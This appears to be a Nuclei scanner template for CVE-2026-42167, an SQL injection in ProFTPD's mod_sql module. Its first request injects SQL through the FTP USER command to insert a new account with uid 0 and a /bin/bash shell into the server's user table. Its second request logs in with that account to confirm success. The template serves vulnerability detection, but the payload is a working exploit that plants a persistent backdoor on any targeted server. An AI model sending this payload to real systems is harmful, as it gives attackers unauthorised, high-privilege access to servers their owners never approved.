id: CVE-2026-42167

info:
  name: ProFTPD mod_sql - Preauth User Backdoor
  author: pussycat0x
  severity: high
  description: |
    ProFTPD mod_sql before 1.3.10rc1 contains a remote code execution caused by unsafe username handling with SQL backend commands in USER request logging expansions, letting remote attackers execute arbitrary code, exploit requires SQL backend allowing commands.
  remediation: |
    Upgrade to version 1.3.10rc1 or later.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  reference:
    - https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
    - https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42167
    epss-score: 0.04438
    epss-percentile: 0.90379
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    vendor: proftpd
    product: proftpd
    shodan-query: "220 ProFTPD"
  tags: cve,cve2026,proftpd,ftp,sqli,rce,network,vkev

flow: tcp(1) && tcp(2)

tcp:
  - inputs:
      - data: "USER ', null, null); INSERT INTO users VALUES($${{randstr}}$$, $${{randstr}}$$, 0, 0, $$/$$, $$/bin/bash$$); --'\r\n"
        read: 1024
      - data: "PASS test\r\n"

    host:
      - "{{Hostname}}"
    port: 21,2121
    read-size: 1024

    matchers:
      - type: word
        part: raw
        words:
          - "220 ProFTPD"
        internal: true

  - inputs:
      - data: "USER {{randstr}}\r\n"
        read: 1024
      - data: "PASS {{randstr}}\r\n"
        read: 1024
      - data: "QUIT\r\n"

    host:
      - "{{Hostname}}"
    port: 21,2121
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        part: raw
        words:
          - "230"

      - type: word
        part: raw
        words:
          - "Login incorrect"
          - "Anonymous login"
        condition: or
        negative: true

    extractors:
      - type: regex
        part: raw
        regex:
          - '230.*logged in'
# digest: 4a0a0047304502202fae61d9f61f615764c6a9536a20314fe8e6a82e81c4d3423c12525625d23435022100988e8b87c9f1c9280e3f5cceec9e7908c2151ee28d0988e00b1f6f7dfe74170a:922c64590222798bb761d5b6d8e72950